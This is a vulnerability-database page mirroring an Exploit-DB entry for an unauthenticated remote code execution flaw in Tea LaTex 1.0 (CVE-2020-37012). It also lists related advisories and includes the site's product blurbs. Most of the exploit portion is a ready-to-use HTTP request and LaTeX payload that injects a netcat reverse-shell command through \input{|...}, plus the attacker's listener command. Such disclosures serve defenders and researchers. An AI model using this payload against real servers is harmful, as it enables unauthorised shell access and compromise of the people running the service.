Lucene search
+L

Tea LaTex 1.0 - Unauthenticated Remote Code Execution (RCE)

🗓️ 11 Sep 2020 00:00:00Reported by nepskaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 804 Views

Tea LaTex 1.0 - Remote Code Execution (Unauthenticated) and Header Request

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-37012
29 Jan 202614:28
–attackerkb
circl
Circl
CVE-2020-37012
29 Jan 202618:55
–circl
cnnvd
CNNVD
latex.teainside.org security vulnerabilities
29 Jan 202600:00
–cnnvd
cve
CVE
CVE-2020-37012
29 Jan 202614:28
–cve
cvelist
Cvelist
CVE-2020-37012 Tea LaTex 1.0 - Remote Code Execution
29 Jan 202614:28
–cvelist
euvd
EUVD
EUVD-2020-30907
29 Jan 202614:28
–euvd
nvd
NVD
CVE-2020-37012
29 Jan 202615:16
–nvd
ptsecurity
Positive Technologies
PT-2026-5287
29 Jan 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-37012: Improper Neutralization of Special Elements used in an OS Command
29 Jan 202600:00
–rapid7
vulnrichment
Vulnrichment
CVE-2020-37012 Tea LaTex 1.0 - Remote Code Execution
29 Jan 202614:28
–vulnrichment
# Exploit Title: Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-01
# Exploit Author: nepska
# Vendor Homepage: https://github.com/ammarfaizi2/latex.teainside.org
# Software Link: https://github.com/ammarfaizi2/latex.teainside.org
# Version: v1.0
# Tested on: Kali linux / Windows 10
# CVE: N/A


# Header Requests

POST /api.php?action=tex2png HTTP/1.1
Host: latex.teainside.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 64
Origin: https://latex.teainside.org
DNT: 1
Connection: keep-alive
Referer: https://latex.teainside.org/
Cookie: __cfduid=d7e499dd5e2cf708117e613f7286aa2021599260403


{"content":"\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}","d":200,"border":"50x20","bcolor":"white"}




# Payload

\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}


# Attacker

nc -lvp 1234

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.02653
SSVC
804